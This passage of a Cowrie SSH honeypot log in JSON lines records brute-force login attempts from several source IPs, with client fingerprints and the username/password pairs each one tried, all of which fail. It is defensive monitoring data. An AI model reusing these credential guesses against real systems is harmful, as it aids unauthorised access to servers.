a1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:34:06.480300Z","src_ip":"194.113.233.25","session":"d70354d9afba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"555alex555","message":"login attempt [root/555alex555] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:34:06.765461Z","src_ip":"194.113.233.25","session":"d70354d9afba","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:34:06.806644Z","src_ip":"213.209.159.158","session":"51860ab43136","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:34:06.811602Z","src_ip":"213.209.159.158","session":"51860ab43136","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:34:07.863320Z","src_ip":"194.113.233.25","session":"d70354d9afba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome2022*","message":"login attempt [root/Welcome2022*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:34:12.151701Z","src_ip":"213.209.159.158","session":"51860ab43136","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.0","message":"Connection lost after 9.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:34:14.662285Z","src_ip":"213.209.159.158","session":"51860ab43136","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":35272,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa6d21feea6d","protocol":"ssh","message":"New connection: 213.209.159.158:35272 (159.203.135.109:22) [session: aa6d21feea6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:34:14.769630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:34:15.971086Z","src_ip":"213.209.159.158","session":"aa6d21feea6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:34:15.976043Z","src_ip":"213.209.159.158","session":"aa6d21feea6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"welcome12","message":"login attempt [root/welcome12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:34:21.318691Z","src_ip":"213.209.159.158","session":"aa6d21feea6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":54672,"dst_ip":"10.17.0.5","dst_port":22,"session":"6bdc0a823806","protocol":"ssh","message":"New connection: 62.133.62.83:54672 (10.17.0.5:22) [session: 6bdc0a823806]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:34:21.453270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:34:21.478884Z","src_ip":"62.133.62.83","session":"6bdc0a823806","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:34:21.545139Z","src_ip":"62.133.62.83","session":"6bdc0a823806","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"egoregor","message":"login attempt [root/egoregor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:34:21.859078Z","src_ip":"62.133.62.83","session":"6bdc0a823806","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:34:22.944135Z","src_ip":"62.133.62.83","session":"6bdc0a823806","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.9","message":"Connection lost after 8.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:34:23.701130Z","src_ip":"213.209.159.158","session":"aa6d21feea6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":18852,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5ed2bd2656d","protocol":"ssh","message":"New connection: 213.209.159.158:18852 (159.203.135.109:22) [session: d5ed2bd2656d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:34:23.793396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:34:25.095213Z","src_ip":"213.209.159.158","session":"d5ed2bd2656d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:34:25.099352Z","src_ip":"213.209.159.158","session":"d5ed2bd2656d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"www2","message":"login attempt [root/www2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:34:30.614108Z","src_ip":"213.209.159.158","session":"d5ed2bd2656d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.1","message":"Connection lost after 9.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:34:32.881773Z","src_ip":"213.209.159.158","session":"d5ed2bd2656d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":22268,"dst_ip":"159.203.135.109","dst_port":22,"session":"69c5e8219e5f","protocol":"ssh","message":"New connection: 213.209.159.158:22268 (159.203.135.109:22) [session: 69c5e8219e5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:34:32.973216Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.12.80.170","src_port":51110,"dst_ip":"10.17.0.5","dst_port":22,"session":"8cfc3ae03d18","protocol":"ssh","message":"New connection: 198.12.80.170:51110 (10.17.0.5:22) [session: 8cfc3ae03d18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:34:33.312986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:34:33.320949Z","src_ip":"198.12.80.170","session":"8cfc3ae03d18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:34:33.343449Z","src_ip":"198.12.80.170","session":"8cfc3ae03d18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git2","password":"git2","message":"login attempt [git2/git2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:34:33.463866Z","src_ip":"198.12.80.170","session":"8cfc3ae03d18","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:34:34.110867Z","src_ip":"213.209.159.158","session":"69c5e8219e5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:34:34.114712Z","src_ip":"213.209.159.158","session":"69c5e8219e5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.104.154.26","src_port":55968,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f3824917358","protocol":"ssh","message":"New connection: 112.104.154.26:55968 (10.17.0.5:22) [session: 0f3824917358]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:34:34.265203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:34:34.270391Z","src_ip":"112.104.154.26","session":"0f3824917358","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:34:34.458583Z","src_ip":"112.104.154.26","session":"0f3824917358","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:34:34.487396Z","src_ip":"198.12.80.170","session":"8cfc3ae03d18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mcuser","password":"mcuser","message":"login attempt [mcuser/mcuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:34:35.243567Z","src_ip":"112.104.154.26","session":"0f3824917358","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.83.182.122","src_port":42318,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2ac50d50044","protocol":"ssh","message":"New connection: 40.83.182.122:42318 (10.17.0.5:22) [session: c2ac50d50044]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:34:36.116421Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:34:36.122216Z","src_ip":"40.83.182.122","session":"c2ac50d50044","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:34:36.204686Z","src_ip":"40.83.182.122","session":"c2ac50d50044","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:34:36.433624Z","src_ip":"112.104.154.26","session":"0f3824917358","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"n8n","password":"12345","message":"login attempt [n8n/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:34:36.540905Z","src_ip":"40.83.182.122","session":"c2ac50d50044","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:34:37.621570Z","src_ip":"40.83.182.122","session":"c2ac50d50044","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"WsxEdc","message":"login attempt [root/WsxEdc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:34:40.032807Z","src_ip":"213.209.159.158","session":"69c5e8219e5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.2","message":"Connection lost after 9.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:34:42.216050Z","src_ip":"213.209.159.158","session":"69c5e8219e5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.44.192.210","src_port":41994,"dst_ip":"10.17.0.5","dst_port":22,"session":"5da1bfd71506","protocol":"ssh","message":"New connection: 78.44.192.210:41994 (10.17.0.5:22) [session: 5da1bfd71506]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:34:56.963308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:34:56.971783Z","src_ip":"78.44.192.210","session":"5da1bfd71506","protocol":"ssh"}
